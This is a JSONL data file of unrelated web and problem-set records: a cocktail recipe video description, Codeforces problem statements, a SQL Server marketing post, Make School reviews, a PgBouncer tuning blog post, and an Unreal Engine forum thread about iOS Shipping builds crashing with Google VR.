{"text": "How to make the Best Old Fashioned Cocktail at home.\nIf you like our channel, click here to subscribe!https://www.youtube.com/c/theeducatedbarfly?sub_confirmation=1\nThe first documented use of the word \"cocktail\" comes from the May 13th 1806 edition of The Balance And Columbian Repository which printed it's definition like this: \" A potent concoction of spirits, bitters, water, and sugar.\"\nThe story of the modern Old Fashioned goes something like this: A guy walk into the Pendennis Club sometime in the mid 1880's and sidles up to the bar. He asks the bartender for a drink in the Old Fashioned way. The Bartender, knowing that this guy doesn't want an improved whiskey cocktail (the drink which emerged in the wake of slings) makes this guy a bittered sling, but where this drink deviates is that he puts it on ice, which by now was available widely, and garnishes with a twist of orange, adding the essential oils of the fruit. The Old fashioned was born!\nThere are many ways to make an Old Fashioned and this video is just one of those ways. And of course it's my favorite. I will though from now on be posting various other recipes for an old fashioned . Some from important cocktail bars and others from bartenders and some from you guys. So comment below and let us know your favorite Old Fashioned build!\nI want to state now that I got a date wrong. The Pendennis Club was opened in 1881 not 1861 as I previously thought. It's a small mistake and not worth a reshoot. That puts the modern old fashioned creation in the mid 1880's. So don't get all crazy about the mistake, I am a creature of accuracy so i am correcting myself here.\nWe are proud that our official apron sponsor is Stagger Lee Goods. Alfred Ramos hand stitches each of these amazing quality aprons in his Northern California workshop. He Does custom work and has aprons for just about every position in a restaurant and bar so do yourself a favor and check him out:https://www.staggerleegoods.com\nIf you are interested in helping us offset the cost of production you should check out our Patreon page which has a bunch of great perks and goes a long way to helping us bring you quality content. You can find that here:https://www.patreon.com/theeducatedbarfly\nHere's The Specs:\n2oz Rye Whiskey\n1 Sugar Cube\n4 Dashes Angostura Bitters\nDash Soda Water\nOrange and Lemon Twist\nLuxardo Cherry Garnish\nIf you want buy the glassware we're using you can find it here: https://amzn.to/2C5VoTq\nMore of the tools and books we use can be found in our Amazon Storehttps://www.amazon.com/shop/theeducatedbarfly", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 615, "token_count_with_eod": 616, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Once Petya and Vasya invented a new game and called it \"Smart Boy\". They located a certain set of words — the dictionary — for the game. It is admissible for the dictionary to contain similar words.\n\nThe rules of the game are as follows: first the first player chooses any letter (a word as long as 1) from any word from the dictionary and writes it down on a piece of paper. The second player adds some other letter to this one's initial or final position, thus making a word as long as 2, then it's the first player's turn again, he adds a letter in the beginning or in the end thus making a word as long as 3 and so on. But the player mustn't break one condition: the newly created word must be a substring of a word from a dictionary. The player who can't add a letter to the current word without breaking the condition loses.\n\nAlso if by the end of a turn a certain string s is written on paper, then the player, whose turn it just has been, gets a number of points according to the formula:\n\n$$$$\n\nwhere\n\n- $$\\mathrm{value}(c)$$ is a sequence number of symbol c in Latin alphabet, numbered starting from 1. For example, $$value(\\mathbf{a}) = 1$$, and $$value(z) = 26$$.\n- $$\\text{num}(s)$$ is the number of words from the dictionary where the line s occurs as a substring at least once.\n\nYour task is to learn who will win the game and what the final score will be. Every player plays optimally and most of all tries to win, then — to maximize the number of his points, then — to minimize the number of the points of the opponent.", "source": "cpt_codeforces", "language": "en", "token_count": 375, "token_count_with_eod": 376, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Now you can take online courses in the Berland State University! Polycarp needs to pass k main online courses of his specialty to get a diploma. In total n courses are availiable for the passage.\n\nThe situation is complicated by the dependence of online courses, for each course there is a list of those that must be passed before starting this online course (the list can be empty, it means that there is no limitation).\n\nHelp Polycarp to pass the least number of courses in total to get the specialty (it means to pass all main and necessary courses). Write a program which prints the order of courses.\n\nPolycarp passes courses consistently, he starts the next course when he finishes the previous one. Each course can't be passed more than once.", "source": "cpt_codeforces", "language": "en", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "TechEd North America is upon us today and we couldn’t be more thrilled. Microsoft continues to evolve and invest in the Information Platform and today during the TechEd Foundational Session, Microsoft SQL Server: The Data and BI Platform for Today and Tomorrow, Quentin Clark, Corporate Vice President spoke to the Microsoft Cloud-Ready Information Platform.\nThe data explosion is happening at every level across every imaginable device, application and individual. Meanwhile IT needs to balance the proliferation of applications, globalization, increasingly powerful commodity hardware, demand for accessible insights, and new form factors such as the cloud, appliances and mobile devices. And they have to do this with an uptime and level of compliance that is simply expected.\nThe next wave of SQL Server investments brings customers a Cloud-Ready Information Platform that will help them tackle the data explosion and evolve into the future through integrated private and public cloud offerings, optimized appliances, complete and scalable data warehouse offerings, scalable end-to-end business intelligence, and of course continued investments in the SQL Server database software.\nSo what does this mean? Well, it means you can start to break free from tradition and move the business forward with mission critical confidence, breakthrough insight and cloud on your terms.\nThe cloud-ready information platform will protect an organization’s infrastructure – getting you the nines and performance you need at the right price, especially for mission critical workloads, with the new availability solution, SQL Server AlwaysOn and blazing-fast performance with Project “Apollo.” With Microsoft, customers reduce the need to trade off uptime for security patching– SQL Server continues to lead major database vendors with the fewest number of vulnerabilities [nist.org] and in turn this reduces the need to sacrifice uptime for patching. Customers who bet on Microsoft get more than a trusted platform; they get a trusted business partner and a huge ecosystem of experienced vendors.\nCustomers will quickly unlock breakthrough insights across thousands of users through highly interactive web-based data visualizations with Project “Crescent,” as seen in the TechEd keynote, managed self-service analytics with PowerPivot, and unified with the new BI semantic model. Insights are backed by credible consistent data made possible by new Data Quality Services and complete data warehousing solutions including Parallel Data Warehouse and Fast Track.\nCloud On Your Terms\nAdditionally, SQL Server will offer organizations the agility to quickly create and scale solutions that solve challenges and fuel new business opportunity from server to private or public cloud linked together by common tools—build once, deploy and manage wherever with SQL Server Developer Tools code name “Juneau.”\nWhat does cloud-ready mean for you?\nSQL Server Code Name “Denali” will help customers bridge applications and workloads from traditional servers to private cloud to public cloud. Customers can take advantage of private and public clouds by scaling on demand with flexible deployment options, a common set of developer tools, and solutions to extend the reach of data across private and public cloud environments. SQL Server Code Name “Denali” will deliver key features that help customers move to the cloud when they are ready and without the need to rewrite or retool investments.\n- Scale on demand with flexible deployment options: A common architecture which spans traditional, private cloud and public cloud environments giving customers the ability to scale beyond the constraints of any one environment for maximum flexibility in deployments\n- Fast time to market: A range of options for rapidly provisioning resources and reducing IT burden including Fast Track reference architectures to build private cloud solutions, pre-configured and optimized SQL Server appliances for ready-made solutions, and public cloud data services with SQL Azure\n- Common set of tools across on-premises and cloud: Integrated set of developer tools and management tools for developing and administering applications across private cloud and public cloud giving developers and IT professionals maximum productivity, faster time to solution and lower on-ramp to building cloud solutions. Also, enhancements to the Data-tier Application Component (DAC) introduced in SQL Server 2008 R2 further simplify the management and movement of databases from on premises to cloud.\n- Solutions to extend the reach of data: Support for technologies such as SQL Azure Data Sync to synchronize data across private and public cloud environments, OData to expose data through open feeds to power multiple user experiences and Windows Azure Marketplace DataMarket to monetize data or consume from multiple data providers.\nGet ready for the evolution\nThe next SQL Server Code Name “Denali” CTP is coming this summer! Sign up today for the notification and be among the first to test the exciting new features and functionality.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "John Doe has a crooked fence, consisting of n rectangular planks, lined up from the left to the right: the plank that goes i-th (1 ≤ i ≤ n) (from left to right) has width 1 and height hi. We will assume that the plank that goes i-th (1 ≤ i ≤ n) (from left to right) has index i.\n\nA piece of the fence from l to r (1 ≤ l ≤ r ≤ n) is a sequence of planks of wood with indices from l to r inclusive, that is, planks with indices l, l + 1, ..., r. The width of the piece of the fence from l to r is value r - l + 1.\n\nTwo pieces of the fence from l1 to r1 and from l2 to r2 are called matching, if the following conditions hold:\n\n- the pieces do not intersect, that is, there isn't a single plank, such that it occurs in both pieces of the fence;\n- the pieces are of the same width;\n- for all i (0 ≤ i ≤ r1 - l1) the following condition holds: hl1 + i + hl2 + i = hl1 + hl2.\n\nJohn chose a few pieces of the fence and now wants to know how many distinct matching pieces are for each of them. Two pieces of the fence are distinct if there is a plank, which belongs to one of them and does not belong to the other one.", "source": "cpt_codeforces", "language": "en", "token_count": 341, "token_count_with_eod": 342, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Make School is a college in San Francisco where students earn a Bachelor of Science in Applied Computer Science in 2.5 years, complete with a liberal arts education that prepares graduates to work with the world’s leading tech companies. Make School's project-based curriculum — built in partnership with companies such as Lyft, Microsoft, Yelp, and Spotify — prepares students to keep up with the rapid speed at which technology and new languages evolve. Unlike a traditional 4-year degree that includes a once-a-week lecture followed by hours of self-directed homework and tests, Make School's accelerated degree program resembles the typical work week of a STEM professional. Due to this unique structure, students graduate in 2.5 years job-ready and with a robust portfolio.\nMake School strives to create a safe, nurturing environment where students of all backgrounds can excel, regardless of how much prior coding experience they have. Admissions criteria is based on work ethic and excitement to learn rather than test scores and GPA. The majority of students come from low- to mid-income families, while nearly half identify as underrepresented minority students.\nMake School is committed to helping graduates land their dream jobs and believes that higher education should be a path to upward mobility rather than insurmountable student debt. Make School offers an Extended Income-Based Repayment (EIBR), which, in basic terms, means that Make School will pay for private student loans if alumni are unemployed or underemployed after graduation. Graduates pay nothing until they have a job that enables them to pay back their loans.\nRecent Make School Reviews: Rating 4.1\nRecent Make School NewsRead all (18) articles about Make School →\nIn PersonFull Time\nStart Date None scheduled Cost $70,000 Class size N/A Location San Francisco\nDeposit 250 FinancingStudents take primary financing from Title IV funding and private loans. Make School has created a protection plan that caps loan payments as a percentage of income and drops monthly payments to $0 if alumni are unemployed.\nMinimum Skill Level Complete newbies welcome! Placement Test No Interview Yes\nMake School Reviews\n21 reviews sorted by:\n- Bachelor's of Applied CS Junior- 11/5/2020Chris • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubAn extended bootcamp with an Accredited Bachelor's Degree.Curriculum:The project-based curriculum is laid out very well, with almost no time wasted. You’ll be learning a fundamental CS topic in the morning and you’ll be putting it to use on another project in another language in the afternoon.Turning a four year degree into two years means things move fast. Terms are seven weeks long. It’s manageable but expect 50+ hour weeks if you’re a quick learner. 70+ if you want to really stand out. You will also take a few science, product development and liberal arts classes like in a traditional degree. At the end of each term there are mandatory hackathons (called Intensives) which you can use to build portfolio ready projects.Make sure to bring your own motivation. The classes do cover all the fundamentals but don't expect to be among the best by only doing the assigned work. Self directed learning and side projects are highly encouraged and the school does offer a lot of support but you will only get as much out of the program as you put in.Culture:The culture at the school is one of the best I’ve ever experienced in higher education. There is a lot of support from the school. It feels like a real community and everyone is out to help one another. You get weekly 1v1 coaching sessions with Instructors, lots of open office hours, multiple co-working sessions with TA’s and helpful students and a Slack channel that is widely used by both students and instructors and staff.TL;DR:Highly recommended to the right type of highly motivated person that wants a real project based education in the shortest amount of time possible. Instructors are great. Lots of support. Modern curriculum. Cool students. Bachelor’s degree in 2 years.\n- Project based higher education- 11/4/2020Jordan T • Student • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubStarting Experience:\nI chose to attend make school because I wanted to get a degree, but learn in a way that showcased my work instead of just giving a grade. I enjoyed visiting the school, taking a tour of the dorms, visiting classrooms, and most importantly sitting in on a lesson. Talking to other students about their experience here, and why they chose the school was important for my choice. After talking to them it felt good being surrounded by like-minded individuals.\nAll of my instructors have been supportive. Each one taking the time in class to offer their minds and makes sure we are learning. Each class has its own pace but each instructor makes sure we have time to ask our questions. Zoom has been difficult for people mentally, but the school is doing its best to make the zoom rooms engaging. Alongside our teachers, we also have a ton of student support from our classmates, and our TA's. Another cool thing about Make School is the amount of feedback we give. After you finish a course or go to a meeting they want feedback. The school is growing constantly and they are trying to make this space one for everyone.\nI think support is something make school is pushing for. You get a coach and they are another person you can talk to, learn from, and as more professional questions. There are also tons of student and faculty lead groups where you can talk about being a BIPOC, or talk about life hacks. I know my professors have pushed mental health and most teachers encourage taking some time away from the computer to enjoy the world (safely). The faculty also make sure to check-in with students to make sure we are enjoying classes, and that we are okay mentally.\nI enjoy my classes, and I enjoy how this school makes me feel about myself. I like being supported in my own way, and I like the readiness that I am being prepared for. Make School has given me the chance to get where I want in my professional life, and if you're looking to take the next step consider coming here.\n- What higher education should be- 11/4/2020Richard J • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via LinkedInThe project-based learning approach that Make School provides is unquestionably the best way to both prepare you for the workforce and give you things worth showing when applying to jobs. This is the kind of thing that I wish existed when I'd first graduated high school, so I hadn't wasted so much time getting a traditional degree.\n- Incredible community of passionate and amicable people who all want to see you succeed and are just genuinely pleasant to interact with.\n- School's income is entirely dependent on your success whether you take the ISA route or take out loans with income-based repayment.\n- Project-based learning means you'll have a whole lot to show for the time you put in, which is exactly what you need when applying to jobs.\n- Accelerated pace means you won't be wasting any time, yet you'll still get an accredited bachelor's degree.\n- Be prepared to work HARD. 4 years' worth of schooling crammed into 2 means you will be spending the majority of your waking hours in class or working on homework/projects. There is not a lot of wiggle room if you fall behind.\n- Could stand to have better housing accommodations.\nOverall, I've never been busier, but I've also never felt more optimistic about my future. I'm going to recommend this school to pretty much everyone I know.\n- Alternative for Higher Education- 11/4/2020Stanley Chow • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubI applied to Make School looking for a computer science education after dropping out of a business college. With coding, students get the most returns when they put in the hours coding in front of their computers. Make School provided the best community for me to encourage me to put in these hours. The instructors are from diverse backgrounds in tech from founders to data scientists and really care about the future of the industry in the form of their students. I was a complete beginner to software engineering and Make School has been a big support for me in my learning journey.\n- Current Student- 10/29/2020Yin • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubOverall Experience: Just started the journey of Make School this summer, and I'd say the experience is much better than the previous school. Make school is a cohesive community, so whenever you have a problem, you can always shoot a message to your instructors or the TAs. Also, they care about your well-being, and they do want you to succeed. Thus, they will pair you with mentors to help you out.\nInstructors & Courses: Some of the instructors are very experienced, and you will learn a lot in their classes. Also, I like the software product development class a lot because the materials are super helpful and can equip you with the skillset to work with others, and furthermore creating your own startup.\nIf you are expecting to become a programming Guru by simply applying to Make School, you are going to get disappointed. Make school can provide you the knowledge, community, industrial tips and tricks, and job assistance. However, studying CS requires you to put some effort and time into it. If you do make good use of everything they offer to you, the journey here is going to be amazing!\n- Not worth the price- 8/20/2020Jose • U2 Tutor, course grading • Student • Course: Bachelor in Applied Computer Science • Campus: San Francisco • Verified via GitHubThe lie of saving you from student loan debt: The founder will harp on about how they are trying to give students zero debt, but the ISA (Income Shared Agreement loan) is $200,000 tuition which lasts 5 years + $100,000 housing loan which lasts 10 years loan for 2 YEARS OF EDUCATION. During the Corona Virus, they got approved to give out student loans instead. Which goes against their company's value of \"reforming the student loan system\".SHADY STUFF One of the founders is a total salesmen being your best friend before you enrolled, and then when you are enrolled he wants nothing to do with you. Additionally, He told us we would be guaranteed housing for two years for all incoming students, and then went back on it 8 months later saying we would have no guaranteed student housing in one of the highest rent cities in the room where a room averages $3000 a month. People debated suing, and a lot of the students were debating dropping out. They caved and tried to find housing for us out of fear of the bad reputation. In addition, the dean will tell you no to pretty much any request you ask them to make. I personally wanted to test out of intro classes, and she refused my request even though before I enrolled I was told multiple times I could do it only telling me after I already was fully enrolled that it wasn't possible. She came up with many excuses for not letting me even going as far as saying \"it's against our school's integrity\". She really makes the place a harder place to attend and makes the student body angrier almost every announcement. A common trend at Make School was whenever they go back on something they promised, they would use the dean to give us the bad news over slack.CURRICULUM They use GitHub for basically all their class syllabuses, and a lot of FREE OPEN SOURCE material for the work that you could easily find yourself without spending $90,000. That being said it isn't that bad to use it, but it isn't for beginners to read the online DEVELOPER DOCUMENTATION, which followed to a lot of dropouts. The curriculum is out of date leading to many problems slowing down the whole class.JOB SUPPORT This is probably the best thing they have going for them. The students that go here have a slingshot into big companies like Google, Microsoft, and Lyft. However, they do usually have other college experience or went to the ivy league, UC BERKELEY (TIED with MIT, Stanford), or basically degree and work experience in the cs field who get the jobs. Some other students get to use it if they devote their full time the first year to their portfolio, and go above and beyond working on their skills.Should you go to Make School? They have some brilliant instructors that teach frontend, backend, mobile, and data science. Probably the best part of the school is instructors, and how they help you build a portfolio. If you want to be a developer at the end of the day for a big company like google, and know nothing I would go there, but you are going to take a lot of debt when you could go somewhere else. If you know a lot about coding then I would maybe reconsider and go somewhere else cheaper, and teach yourself how to do practical work. If you can understand and implement c++ then you can do anything in the industry with ease.\nFinal Thoughts I really believed in this school when I first got there and thought it was going to be the school that would get me ready to work at a top company. unfortunately, I was scammed and denied a proper education for no good reason other than to keep me there for two years in order to get me to have a $300,000 loan to pay back. I wasted my time the first year having to work on side projects to learn anything with the second-year students. Lastly, the one thing I did learn from Make School was self-teaching, since the fact, I had to teach myself almost everything............\n- 1 Year Of Applied CS Program- 6/5/2019Connor • Student • Campus: San Francisco • Verified via LinkedIn\nTo start, I am writing this because I wish I would have done more research before attending Make School. I did not plan to ever finish the 2 year program to receive the degree in applied computer science, I just wanted to learn some cs and how to code. I'll start with the pro's and con's and then give my recommendations on what I think someone thinking of attending Make School might want to do:\n- CS instructor is amazing, has a great way of explaining concepts and is passionate about teaching.\n- The community is great, everyone is passionate about learning and excited about cs.\n- Curriculum outside of cs is just not there yet.\n- So EXPENSIVE. From my research, any state college in the nation is cheaper than Make School.\nif you're thinking of attending, I would highly suggest going to a community college for a year or two first. A local community college is really cheap and in some states free. After that, apply to some traditional computer science programs and look into other options. If you have no other options, I would say go to Make School as a last resort.\nThe Price Scheme:\nThey charge 20% of your salary for 5 years and if you take the living stipend they tack on another 5% for 5 years and then another 7% for an additional 5 years. It definitely seems appealing when they tell you no tuition up-front, but think about the future in this case. This contract doesn't go away unless you make under 60k per year for 8 years. The extra 5% and 7% are owed whenever you make more than 40k per year.\nSay you make 90k per year after graduating, after they take their money and then taxes (29% from federal and state if in California) are taken, you get left with $48,600 per year for the first 5 years.\n- Good school but very expensive- 10/13/2018juan hurtado • Apprentice Software Engineer • Student • Campus: San Francisco • Verified via LinkedIn\nI want to leave a very honest review of my time at Make School so that other people can be informed when deciding to join. To give some background, I joined the full stack web track before the school introduced the bachelors in Applied Computer Science.\nThe school was broken up into three parts. Computer Science, your chosen track ( my case full stack web ) and core. I am going to give my review on each of the three sections.\nOverall I was very happy with the CS classes. They were taught by a very knowledgeable instructor. I really liked his method of teaching because it was aimed at making sure students learned in depth the fundamentals of CS. He was also very good at breaking down complicated topics and made sure to draw diagrams and visual examples which made data structures and algorithms simpler to understand.\nFull Stack Web:\nThe topics that were taught were current and applicable to getting a job but HOW they were taught wasn't up to par with the CS classes. For many of my classes we were just assigned some online tutorials and not once did we do code review or go over the tutorial to see what students did right or wrong. Me and other students were upset because we felt like there wasn't a structure to the classes. I was very dissapointing because I was spending a lot of money just to read some tutorial online. I can say I learned a lot more buying a $10 course on Udemy than from that class.\nThe purpose was to make you prepared to get a job and an effective employee. We did exercises such as:\n* Mock interviews\n* How to find and approach engineers from top tech companies to learn from them and potentially have a mentor\n* How to write professional emails\n* A bunch of other useful stuff\nThe instructor was good and I can say he helped me a lot in my soft skills specially how to answer tough behavioral questions.\nOverall the school was good at teaching relevant skills and I can say that if you work hard enough you can definitely end up at a great company making a lot of money. Although, the lessons were great, Make School isn't teaching magic. You can learn and become a software engineer without spending tens of thousands of dollars. Many people have done it. In fact, I met someone who was a senior engineer at a top tech company who was entirely self taught.\nThere are so MANY free or cheap courses online that are very high quality. MIT has free CS courses so does Harvard. Heck you could buy a few $10 courses on Udemy and get pretty much the same value ( From a technical side ). If I could do it all over again I wouldn't have gone to Make School and my wallet would be very happy but hindsight is 20/20.\nIn conclusion, you will learn relevant skills but the school is EXTREMELY expensive and I don't know if I can justify the price for what I learned. For that reason, I don't recommend it.\n- What to expect...- 9/10/2017Mthabisi Ndlovu • Student • Course: Summer Academy • Campus: Oakland • Verified via LinkedIn\n- It's a good chance maybe change your life- 9/4/2017ShenTungHuang • Graduate • Course: Summer Academy • Campus: San Francisco • Verified via LinkedIn\nWe got many instructors and students in this class, all of us come from different countries and cities and major in different fields. In this class we are effort to build our mobile APP in a specific field try to amaze the world. You can learn how to build an APP or Game, get some interesting stories and advices and you can get new friends. There's a lot of things happen in this 8 weeks.\n- Just DO IT!- 11/13/2020DRose • (future) Software Engineer • Student • Course: Bachelor in Applied Computer Science • Campus: San FranciscoMAKESchool has an excellent curriculum and not only prepares you for \"code\" but also for what employers and large companies are looking for in competitive candidates. The experience and network you gain at MAKEschool with industry leaders is incomparable and they have bridged the gap between a degree and actually securing a lucrative position. In addition, I have had unexpected health issues that impacted my ability to fully attend school initially and make school was amazing at accommodating my needs and well as helping me get back on track. The only con is the dorm situation for many students after COVID which I wish Make School had handled better. I am optimistic to see how they alleviate the issues for students in dorms moving forward. Otherwise, my experience with make school so far has been pleasant and I expect to gain irreplaceable skills and experience.\n- Accelerated Student- 10/29/2020Aldrin • Student • Course: Bachelor in Applied Computer Science • Campus: San FranciscoPrior to attending Make School, I attended a traditional University for Computer Science. Long story short, the first impressions I received during my time there were subpar to say the least. As a student studying a technical degree, I appreciate any type of assistance that the program can grant me. Realizing that the program wasn't efficient for my learning experience, I decided to leave and transfer to Make School's Applied CS Program.Having just started my Make School journey this year, I already have experienced a much better, more efficient Computer Science program than what I have experienced before. This is my experience:Community: Make School is a very close-knit, cohesive community, prioritizing their students' academic experience and project-based learning. During orientation, they provided us with multiple instructors who guided us with environmental setups prior to starting the courses. Throughout the terms I have experienced, the community (specifically the faculty) is active on the Make School Slack channel to be able to assist student with any help that they ask for. The community is revolved around Computer Science, and so the student vibe and experience is mostly technical, giving you daily experience and exposure to Software Engineering.Curriculum: The curriculum is efficiently structured to where a student knowing nothing about programming can succeed and become efficient in a certain field of Computer Science by the time of graduation. Currently, the programs technical concentrations are in iOS programming, Front End Web, Back End Web, and Data Science. Each student starts off with the generic intro classes and then branches off into their chosen concentrations. The curriculum is very project-based, having the students submit various projects throughout each class to showcase what they understand and have learned. What I find to be extremely helpful is that the program requires a week long intensive after each term, allowing the students to practice what they have learned in and out of school into a project-based final. The Make School Applied Computer Science program is a 2 year, accelerated program, and so students interested in transitioning and/or applying to Make School have to understand that the curriculum of the traditional 4-year programs will be compiled into 2 years. Saying this, be prepared to work hard and efficient throughout your whole time there.Instructors/Faculty: The instructors/faculty, in my opinion, are one of the most efficient gems in a student's Make School experience. All of the instructors that I have had so far are brilliant and have had vital working experience as Software Engineers both in and out of Silicon Valley. Their backgrounds are extremely impressive, having had academic and work backgrounds at Columbia University, Google, Microsoft, NFL, UC Berkeley, and numerous others.Job Support: Another great gem at Make School. Their Job Support is amazing. Shoutout to Jeff D'Andria for being an awesome human being and being a great mentor to communicate with for job support in Silicon Valley. The students that attend Make School have a higher chance to be able to work for big tech companies such as Google, Microsoft, Yelp, etc. It is the perfect mixture of Make School's curriculum, community networks, and faculty that allow for this to happen.Financial Aid: As a Military Veteran currently waiting for the final processing to use my Education Benefits for tuition, it is hard to judge my thoughts for their financial aid services. As I have not had much experience dealing with their FinAid at this time, I will withhold any comments I have to say in regards to their FinSystem. I will say that their new assistant director for financial aid, Isabelle, has been an amazing, active communicator with me throughout my Make School experience. She is extremely helpful and is actively updating me with my FinStatus. Shoutout to Isabelle for being awesome!Final thoughts: Make School is an ACCELERATED PROGRAM. As welcoming as the community is, as helpful as the instructors are, as awesome as the curriculum holds, students that are interested in attending Make School have to understand that it is a competitive program that will guide you to succeed, but you also have to work hard. Life doesn't grant you a degree. Life doesn't grant you easy access to a high salary job as a software engineer. It is your motivation and work ethic both in and out of the classroom that will get you there. Make School provides the knowledge, community, assistance, and environment to help you succeed, but you yourself have to be driven enough to reach that goal. If that is truly something you desire, then Make School is the perfect fit for you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 5278, "token_count_with_eod": 5279, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "After migration from Mysql to Postgres, my database server started to go to swap. It has 64GB of memory, while my Mysql server used to have only 32GB and it didn’t face that problems.\nI have 4 rails application servers(hosted by puma). Each server needs about 1000 connections to Postgres: I have 24 worker processes with 32..48 threads(for more details see the article on heroku). So I need about 4000 connections from webservers & some hundred connections from Sidekiq.\nI configured my Postgres server to have 5000 max_connections. Every connection needs work_mem memory, so I set it to 1MB(I don’t have any large joins).\nBut my server was constantly swapping! When it was happening, I just restarted my puma proceeses & everything was becoming fine. It was obvious: my application was leaking DB connections.\nAt first I tried to set the reaping_frequency config variable to 60 seconds: it tells Rails to look for connections from dead theads & try to recover them. It didn’t help me much\nI googled and found info about pgbouncer. To be short: it proxies connections to Postgres managing them very effectively. To compare: Postgres needs a couple of MG to handle 1 connection. PgBouncer needs only about 2KB to handle the same connection. Here are the useful links:\nWhat I did:\n- Installed pgbouncer (accepts connections on the same host by listens on port 6432)\n- Set PgBouncer config:\n- max_connections to 5000(you set to number of connections you need)\n- pool_mode = transaction\n- default_pool_size = 500(max connections to Postgres)\n- Set Postgres config:\n- max_connections = 500(max connections from pgbouncer)\n- work_mem = 4MB\n- Allowed to connect to PbBouncer only from my webservers with iptables\n- Switched my database.yml to connect to PgBouncer – you need to specify port and disable prepared_statements:\n#... username, password etc\nBefore using PgBouncer I used to have about 3-4k active connections to Postgres from webservers, most of them were idle. They were using my RAM and my server was using about 50-60GB RAM and always wanted to go to swap.\nNow: I have about 150-200 connections to Postgres from PgBouncer. My server users ONLY 3GB RAM. I don’t know what to do with the other RAM I have in rest Anyone needed?\nTake the picture from Newrelic:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 587, "token_count_with_eod": 588, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Any ios shipping build generated with Google VR plugin enabled, came out damaged.\nSplash screen start, and then the app close.\nIt looks somewhat related to Arm64, because developer builds just works fine, and the only difference, apparently, seems that developer builds are ArmV7 enabled by default.\nTested 4.14.3 and 415.0\nI had similar symptoms when I built my app for Android with third-party plugin enabled. Please check in your project if all unused plugins are disabled.\nI have a few questions for you that will help narrow down what issue it is that you are experiencing.\n- Can you reproduce this issue in a clean project?\n- If so, could you provide a detailed list of steps to reproduce this issue on our end?\n- Could you provide screen shots of any blueprints/settings that may be involved with this issue?\n- What device are you currently using when you have this issue?\n- What is the current OS being used on the device?\niPHONE 7 10.2.1\nInstall unreal engine 4.14.3\nStart a new blank project (i.e. First Person Demo), mobile, scalable, no content.\nPlugins/Virtual Reality, remove all, activate Google VR, restart project\nProject settings: package for SHIPPING, enable compressed cooking\nIOS settings, create package demo.firstperson.com, options enabled:\nPackage for iPhone only. All other options left as they are.\nRegistering new app id demo.firstperson.com, generating developing certificate, and developing provisioning.\nGet back to Ue4, project settings, import the provisioning and certificate.\nBuild for IOS\nOpen XCode, push the .IPA package into iPHone7\nRun the app FirstPerson, the splash screen start, then immediately, the splash screen close.\nAll the same, but DEVELOPMENT package, and the app starts normally.\nIf in development build, activate both ARM64 and Arm7, in IOS options, into project settings, and also the packaged Development IPA, crash after run.\nI was able to reproduce this issue on our end. I have written up a report and I have submitted it to the developers for further consideration. I have also provided a link to the public tracker. Please feel free to use the link provided for future updates. Thank you for your time and information.\nLink: Unreal Engine Issues and Bug Tracker (UE-42339)\nMake it a great day\nThis bug does not seems to be resolved, even in 4.16.0\nThis issue was marked as a duplicate of UE-41244. I have updated the public notes to show this change.\nGot this problem too, did anyone resolved this? I am using 4.16 version\nI do not have a workaround for this issue at this time.\nUE 4.16 - Development builds run well on iPhone 5s with both armv7 and arm64 turned on, but Shipping builds still crash after splash\nI got this problem too. using 4.16.2.\nShipping builds crash after splash.\nBuild OS version: macOS 10.12.5\nTesting device: iPhone6S (iOS 10.3.2)\nWhy is this issue marked as a duplicate of UE-41244?\nI think this problem is more serious than UE-41244 because we can’t publish iOS app using GoogleVR plugin.\nI have posted a question in bug reports about it: Crash on iOS after splash with GoogleVR plugin enabled - Mobile - Unreal Engine Forums\nSo, i hope we’ll get some new information about this bug, and I hope it will become “actual” from “duplicated”…\nAnd yes, there is quite a workaround to publish development and re-signed version, but it is not good anyway.\nSo if it is VERY important for someone to publish the app “RIGHT NOW!”, there is a working case: make dev. build, turn console by 4-tap off, resign ipa with distribution certificate and load to appstore. But the size will be very big. I made it for my project, because couldn’t wait anymore. For iOS 8 app should be less than 100MB, iOS9 < 400MB, iOS10 <2 or 4GB…\nDo you know what script settings to move? Very interesting for me, because I tried different methods for 2 weeks with no success.\nI found, that the crash is somehow related to this iOS system error: “SpringBoard(KeyboardArbiter) : HW kbd: Failed to set (null) as keyboard focus”\nI made a new post and added crash and runtime logs for details. Maybe it can help.\nThe log from Xcode tells, that crash connected with this error:\nShippingLog:  Jul 6 10:18:55 iPhone-Daniil\nSpringBoard(KeyboardArbiter) : HW kbd: Failed to set (null) as keyboard focus\nAnd it appears only with Shipping build and GoogleVR plugin enabled.\nAnd I fully support hirapong: UE-41244 seems to be a different to this issue, especialy, UE-41244 - seems to be solved, because there is no crash with Switch button in UE 4.16.2\nCorrect, this is a serious bug and was introduced by 4.13, and yes, it is not related UE-41244.\nPublishing is indeed possible with a workaround in v4.16.2…as long as it generates, working 64bit development/debug builds, some users managed to rid, moving many ios compiling script settings of the debug version, to the shipping version… but would be better, that shipping builds with Google VR enabled, would not crash.\nManipulation of compiling scripts may lead to unexpected results and probably not properly working .ipa’s\nYes, i’ve read somewhere that users moved ios compiling debug script settings, to the shipping script to get working ipa’s with GoogVR enabled.\nDevelopment/Debug builds works quite well for testing, but they are not good for publish for a series of reason, including a different management of the provisioning that generates upload errors in the Application Loader, and last not least, presence of some Unreal tools and libraries for console command and debug purpose, but also the console command itself.\nDevelopment builds have several cooking compression disabled, you may turn them on manually, and solve the size problems. Indeed, publishing development builds it is not yet the right solution, so we should push the team to fix this issue…", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1409, "token_count_with_eod": 1410, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
